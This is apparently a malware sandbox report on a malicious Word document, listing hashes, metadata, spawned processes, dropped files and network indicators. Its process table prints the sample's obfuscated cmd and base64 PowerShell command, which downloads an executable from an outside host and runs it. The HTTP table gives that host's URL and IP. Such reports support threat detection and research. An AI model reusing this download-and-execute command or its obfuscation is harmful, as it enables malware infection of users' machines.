analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | Logisticaservicesrl.doc.mal |
| Full analysis: | https://app.any.run/tasks/4cc8f435-9785-42db-84af-4909a54e89bb |
| Verdict: | Malicious activity |
| Analysis date: | November 08, 2018, 10:49:07 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Title: Enhanced non-volatile productivity, Subject: Illinois Jerel, Comments: Fundamental non-volatile matrices, Template: Normal, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Apr 25 22:21:00 2018, Last Saved Time/Date: Thu Nov 8 06:33:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0 |
| MD5: | 4E8B385A8103D0970B63AEFD06C78623 |
| SHA1: | 8D9C9A8D24FF4E41C19C8583E3C5C48DB52F147E |
| SHA256: | B8CE8DE4427E40137DC3E232B0502C71DFDC8BA39FD408D2FE35791B367A8FF6 |
| SSDEEP: | 1536:RIzUtHxmr1gExu7ZhjC1yhyCKmwjT0dV3w:2zhPwhjC1O9+g |
MALICIOUS
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 1908)
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 1908)
Executes PowerShell scripts
- CMd.eXe (PID: 2768)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 3492)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 1908)
Creates files in the user directory
- WINWORD.EXE (PID: 1908)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| CompObjUserType: | Microsoft Word 97-2003 Document |
|---|---|
| CompObjUserTypeLen: | 32 |
| HeadingPairs: |
|
| TitleOfParts: |
|
| HyperlinksChanged: | No |
| SharedDoc: | No |
| LinksUpToDate: | No |
| ScaleCrop: | No |
| AppVersion: | 16 |
| CharCountWithSpaces: | 1 |
| Paragraphs: | 1 |
| Lines: | 1 |
| Bytes: | 95744 |
| Company: | - |
| Manager: | - |
| CodePage: | Windows Cyrillic |
| Security: | None |
| Characters: | 1 |
| Words: | - |
| Pages: | 1 |
| ModifyDate: | 2018:11:08 06:33:00 |
| CreateDate: | 2018:04:25 21:21:00 |
| TotalEditTime: | - |
| Software: | Microsoft Office Word |
| RevisionNumber: | 1 |
| LastModifiedBy: | - |
| Template: | Normal |
| Comments: | Fundamental non-volatile matrices |
| Keywords: | - |
| Author: | - |
| Subject: | Illinois Jerel |
| Title: | Enhanced non-volatile productivity |
Total processes
35
Monitored processes
3
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 1908 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\Logisticaservicesrl.doc.mal.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 2768 | CMd.eXe /c p^o^W^e^r^S^h^e^l^L^.^e^x^e^ ^-^e^c^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^y^A^G^8^A^a^Q^B^k^A^G^w^A^Y^Q^B^u^A^G^Q^A^Z^Q^B^2^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^X^A^E^U^A^U^w^A^v^A^G^Y^A^Y^Q^B^0^A^G^8^A^Z^w^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^H^c^A^e^Q^B^u^A^G^M^A^N^w^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^c^A^X^A^B^j^A^D^U^A^Y^w^A^w^A^D^I^A^Y^w^A^5^A^D^U^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^c^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^Y^w^A^1^A^G^M^A^M^A^A^y^A^G^M^A^O^Q^A^1^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^d^A^A^= | C:\Windows\system32\CMd.eXe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 3492 | poWerShelL.exe -ec KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwByAG8AaQBkAGwAYQBuAGQAZQB2AC4AYwBvAG0ALwBXAEUAUwAvAGYAYQB0AG8AZwAuAHAAaABwAD8AbAA9AHcAeQBuAGMANwAuAHgAYQBwACIALAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACcAXABjADUAYwAwADIAYwA5ADUALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAnAFwAYwA1AGMAMAAyAGMAOQA1AC4AZQB4AGUAJwA7ACAARQB4AGkAdAA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | CMd.eXe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
1 186
Read events
784
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
2
Text files
2
Unknown types
4
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1908 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR9853.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3492 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QB2C88PY23E6JM1RH4C1.temp | — | |
MD5:— | SHA256:— | |||
| 3492 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF5da90d.TMP | binary | |
MD5:3C6A7AAE234382390B6B52F47ECA1BAA | SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2 | |||
| 1908 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\Logisticaservicesrl.doc.mal.doc.LNK | lnk | |
MD5:D801D5CBD9FFA75356B5BC47CE56ABB2 | SHA256:B8B68FEFF6E779FAB3A04AF3B5E990909B0A7EDB9B75221DE1429E2F27EFC2A2 | |||
| 1908 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:59131AE46194C72AAA2801E1AD2642A0 | SHA256:32C5BFAA5D065DD7FD36D9AD6A40361A8160F42BB4F98F164D4D8BCB0E92CEE3 | |||
| 1908 | WINWORD.EXE | C:\Users\admin\Desktop\~$gisticaservicesrl.doc.mal.doc | pgc | |
MD5:82AFB6F5B585480B50627DD6FE4A6CC0 | SHA256:9AC8E11715A251A302FCD8FBFD88E874D1EF3887A5AAC7603BD83D8279F42428 | |||
| 3492 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:3C6A7AAE234382390B6B52F47ECA1BAA | SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2 | |||
| 1908 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:A783785D2A82A781B9979236AC654F0D | SHA256:C772FB7486C36BE12017FA55C0CD9617C95432D2D75D4EF10392096956ACD6B7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3492 | powershell.exe | GET | — | 185.180.198.222:80 | http://roidlandev.com/WES/fatog.php?l=wync7.xap | US | — | — | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3492 | powershell.exe | 185.180.198.222:80 | roidlandev.com | Hosting Solution Ltd. | US | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
roidlandev.com |
| unknown |